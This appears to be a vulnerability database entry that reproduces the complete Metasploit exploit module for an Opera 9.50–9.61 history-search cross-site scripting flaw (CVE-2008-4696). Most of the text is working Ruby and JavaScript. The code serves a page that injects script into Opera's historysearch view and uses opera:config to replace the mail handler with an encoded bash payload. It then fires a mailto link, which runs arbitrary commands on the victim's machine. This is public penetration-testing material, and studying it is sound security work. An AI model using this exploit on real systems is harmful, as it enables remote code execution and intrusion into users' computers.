Opera historysearch XSS

2009-07-21T15:20:35
ID MSF:EXPLOIT/MULTI/BROWSER/OPERA_HISTORYSEARCH
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Certain constructs are not escaped correctly by Opera's History Search results. These can be used to inject scripts into the page, which can then be used to modify configuration settings and execute arbitrary commands. Affects Opera versions between 9.50 and 9.61.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::OPERA,
  #  :javascript => true,
  #  :rank       => ExcellentRanking, # reliable command execution
  #  :vuln_test  => %Q{
  #    v = parseFloat(opera.version());
  #    if (9.5 < v && 9.62 > v) {
  #      is_vuln = true;
  #    }
  #  },
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Opera historysearch XSS',
      'Description'    => %q{
          Certain constructs are not escaped correctly by Opera's History
        Search results.  These can be used to inject scripts into the
        page, which can then be used to modify configuration settings
        and execute arbitrary commands.  Affects Opera versions between
        9.50 and 9.61.
      },
      'License'        => BSD_LICENSE,
      'Author'         =>
        [
          'Roberto Suggi', # Discovered the vulnerability
          'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec
          'egypt',  # msf module
        ],
      'References'     =>
        [
          ['CVE',    '2008-4696'],
          ['OSVDB',  '49472'],
          ['BID',    '31869'],
          ['URL',    'http://www.opera.com/support/kb/view/903/'],
        ],
      'Payload'        =>
        {
          'EXITFUNC' => 'process',
          'Space'    => 4000,
          'DisableNops' => true,
          'BadChars' => "\x09\x0a\x0d\x20",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Platform'       => %w{ unix },
      'Targets'        =>
        [
          #[ 'Automatic', {  } ],
          #[ 'Opera < 9.61 Windows',
          #	{
          #		'Platform' => 'win',
          #		'Arch' => ARCH_X86,
          #	}
          #],
          [ 'Opera < 9.61 Unix Cmd',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
            }
          ],
        ],
      'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
      'DefaultTarget'  => 0
      ))
  end

  def on_request_uri(cli, request)

    headers = {}
    html_hdr = %Q^
      <html>
      <head>
      <title>Loading</title>
      ^
    html_ftr = %Q^
      </head>
      <body >
      <h1>Loading</h1>
      </body></html>
      ^

    case request.uri
    when /[?]jspayload/
      p = regenerate_payload(cli)
      if (p.nil?)
        send_not_found(cli)
        return
      end
      # We're going to run this through unescape(), so make sure
      # everything is encoded
      penc = Rex::Text.to_hex(p.encoded, "%")
      content =
        %Q{
          var s = document.createElement("iframe");

          s.src="opera:config";
          s.id="config_window";
          document.body.appendChild(s);
          config_window.eval(
            "var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
            "old_app = opera.getPreference('Mail','External Application');" +
            "old_handler = opera.getPreference('Mail','Handler');" +
            "opera.setPreference('Mail','External Application',cmd);" +
            "opera.setPreference('Mail','Handler','2');" +
            "app_link = document.createElement('a');" +
            "app_link.setAttribute('href', 'mailto:a@b.com');" +
            "app_link.click();" +
            "setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
            "setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
          "");
          setTimeout(function () {window.location='about:blank'},1);
        }

    when /[?]history/
      js = %Q^
        window.onload = function() {
          location.href = "opera:historysearch?q=*";
        }
        ^
      content = %Q^
        #{html_hdr}
        <script><!--
        #{js}
        //--></script>
        #{html_ftr}
        ^
    when get_resource()
      print_status("Sending #{self.name} for request #{request.uri}")

      js = %Q^
        if (window.opera) {
          var wnd = window;
          while (wnd.parent != wnd) {
            wnd = wnd.parent;
          }
          url = location.href;
          wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
        }
        ^
      content = %Q^
        #{html_hdr}
        <script><!--
        #{js}
        //--></script>
        #{html_ftr}
        ^
    else
      print_status("Sending 404 for request #{request.uri}")
      send_not_found(cli)
      return
    end
    content.gsub!(/^ {8}/, '')
    content.gsub!(/\t/, ' ')

    send_response_html(cli, content, headers)
    handler(cli)
  end
end